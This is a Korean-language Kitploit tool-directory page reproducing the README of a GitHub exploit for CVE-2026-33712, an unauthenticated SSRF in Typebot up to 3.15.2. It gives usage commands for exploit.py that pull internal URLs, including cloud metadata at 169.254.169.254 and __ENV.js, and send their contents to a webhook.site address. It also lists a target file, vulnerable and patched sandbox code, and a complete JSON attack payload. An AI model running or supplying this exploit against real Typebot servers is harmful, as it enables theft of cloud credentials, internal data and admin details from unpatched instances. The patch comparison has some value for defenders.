Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-33712 — CVE-2026-33712 - Typebot <= 3.15.2 isolated-vm 샌드박스 fetch를 통한 인증되지 않은 SSRF | Kitploit
도구/GitHubGitHub/portbuster1337/cve-2026-33712
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubportbuster1337/cve-2026-33712

CVE-2026-33712

CVE-2026-33712 - Typebot <= 3.15.2 isolated-vm 샌드박스 fetch를 통한 인증되지 않은 SSRF

저장소 보기
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-33712 - Typebot 인증되지 않은 SSRF

설명

Typebot <= 3.15.2 (3.16.0에서 수정됨)에는 미리보기 채팅 엔드포인트에 인증되지 않은 SSRF(Server-Side Request Forgery) 취약점이 있습니다.

엔드포인트: POST /api/v1/typebots/{typebotId}/preview/startChat

미리보기 엔드포인트는 사용자가 제공한 typebot 정의와 서버측 Code 블록을 허용합니다. isolated-vm 샌드박스 내부에 노출된 fetch() 함수는 일반 HTTP Request 블록을 보호하는 validateHttpReqUrl() SSRF 검증 없이 Node.js 네이티브 fetch를 호출합니다. 이로 인해 모든 SSRF 완화 조치가 우회됩니다.

면책 조항

이 도구는 교육 목적 및 승인된 보안 테스트용으로만 제공됩니다. 귀하가 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 대한 무단 사용은 불법입니다. 저자는 이 도구로 인한 오용이나 피해에 대해 책임지지 않습니다.

영향

  • 클라우드 자격 증명 탈취 (AWS IMDS, GCP 메타데이터, Azure IMDS)
  • Docker 컨테이너 및 사설 서브넷에 대한 내부 네트워크 접근
  • 내부 서비스로부터 데이터 유출
  • __ENV.js를 통한 SMTP_FROM / 관리자 이메일 노출

파일

파일설명
exploit.py메인 익스플로잇 스크립트
endpoints.txt줄당 하나의 URL — 스캔할 SSRF 대상
requirements.txtPython 의존성

사용법

root@kitploit:~
pip install -r requirements.txt

# Single SSRF request
python3 exploit.py -t bot.example.com -u http://127.0.0.1:3000/__ENV.js -w https://webhook.site/your-uuid

# Scan all URLs from endpoints.txt
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan

# Auto-detect viewer URL from builder's __ENV.js
python3 exploit.py -t 192.168.1.10:3011 -w https://webhook.site/your-uuid --detect-viewer --scan

# Skip pre-flight and force execution
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan --force

인수

인수설명
-t / --targetTypebot 인스턴스 URL(뷰어 또는 빌더). 스킴 기본값은 http://
-u / --urlSSRF를 통해 가져올 내부 URL (단일 모드)
-w / --webhook유출된 데이터를 받을 웹훅 URL (또는 WEBHOOK_URL 환경 변수)
--scanendpoints.txt의 모든 URL 스캔
--detect-viewer대상의 /__ENV.js를 탐색하여 NEXT_PUBLIC_VIEWER_URL을 찾아 사용합니다
--force사전 점검을 건너뛰고 강제 실행합니다
--timeout요청 타임아웃 (기본값: 20초)
--delay스캔 요청 간 지연 (기본값: 0.3초)

동작

  1. 자동 스킴 — bot.example.com을 http:// 없이 전달하면 자동으로 앞에 붙습니다.
  2. 사전 점검 — 요청 전에 스크립트가 대상을 탐색하여 vulnerable, patched (인증 필요), 또는 endpoint_missing (잘못된 URL/버전)으로 분류합니다. --force가 설정되지 않으면 실패 시 조기 종료합니다.
  3. 스캔 모드 — endpoints.txt를 읽고 각 URL을 반복하며 콘텐츠를 웹훅으로 유출합니다.
  4. 유출 — 콘텐츠는 쿼리 파라미터가 아닌 POST 본문으로 웹훅 URL에 전송되어 URL 길이 제한을 피합니다.

endpoints.txt

한 줄에 하나의 원시 URL. 빈 줄은 무시됩니다. 주석이나 분류는 없습니다.

root@kitploit:~
http://127.0.0.1:3000/__ENV.js
http://typebot-builder:3000/
http://169.254.169.254/latest/meta-data/

취약한 코드 경로

packages/variables/src/executeFunction.ts에서 isolated-vm 샌드박스 내부에 노출된 fetch()는 원래 SSRF 검증 없이 Node.js 네이티브 fetch를 호출했습니다:

root@kitploit:~
// VULNERABLE (<=3.15.2):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
  new Reference(async (...fetchArgs) => {
    const [input, init] = fetchArgs;
    const res = await fetch(input, init);  // No validateHttpReqUrl!
    return res.text();
  }),
});

// PATCHED (>=3.16.0):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
  new Reference(async (...fetchArgs) => {
    const [input, init] = fetchArgs;
    const request = new Request(input, init);
    await validateHttpReqUrl(request.url);  // SSRF check added
    validateHttpReqHeaders(headers);
  }),
});

수정(커밋 d96f572)은 또한 getTypebot()의 검사 순서를 재배열하여 인증 검증이 사용자 정의 typebot 바로가기 이전에 실행되도록 했으며, 뷰어의 미리보기 엔드포인트를 procedureWithOptionalUser에서 protectedProcedure로 이동했습니다.

페이로드 구조

root@kitploit:~
{
  "typebotId": "exploit-id",
  "typebot": {
    "version": "6",
    "id": "exploit-bot",
    "workspaceId": "test",
    "updatedAt": "2026-01-01T00:00:00.000Z",
    "groups": [
      {
        "id": "group-1", "title": "Start",
        "graphCoordinates": {"x": 0, "y": 0},
        "blocks": [
          {"id": "block-1", "type": "start", "label": "Start", "outgoingEdgeId": "edge-1"}
        ]
      },
      {
        "id": "group-2", "title": "SSRF",
        "graphCoordinates": {"x": 200, "y": 0},
        "blocks": [
          {
            "id": "block-2", "type": "Code",
            "outgoingEdgeId": "edge-2",
            "options": {
              "name": "SSRF",
              "content": "const res = await fetch(\"http://127.0.0.1:3000/\"); setVariable(\"result\", res);",
              "isExecutedOnClient": false,
              "isUnsafe": true
            }
          }
        ]
      }
    ],
    "edges": [
      {"id": "edge-1", "from": {"blockId": "block-1"}, "to": {"groupId": "group-2"}}
    ],
    "events": [
      {"id": "event-1", "type": "start", "outgoingEdgeId": "edge-1", "graphCoordinates": {"x": 0, "y": 0}}
    ],
    "variables": [
      {"id": "var-1", "name": "result", "value": null}
    ],
    "settings": {"general": {}},
    "theme": {"general": {}, "chat": {}}
  }
}

중요: 샌드박스 내부의 fetch()는 이미 .text()를 반환하므로 결과는 Response 객체가 아닌 문자열입니다.

도구 다운로드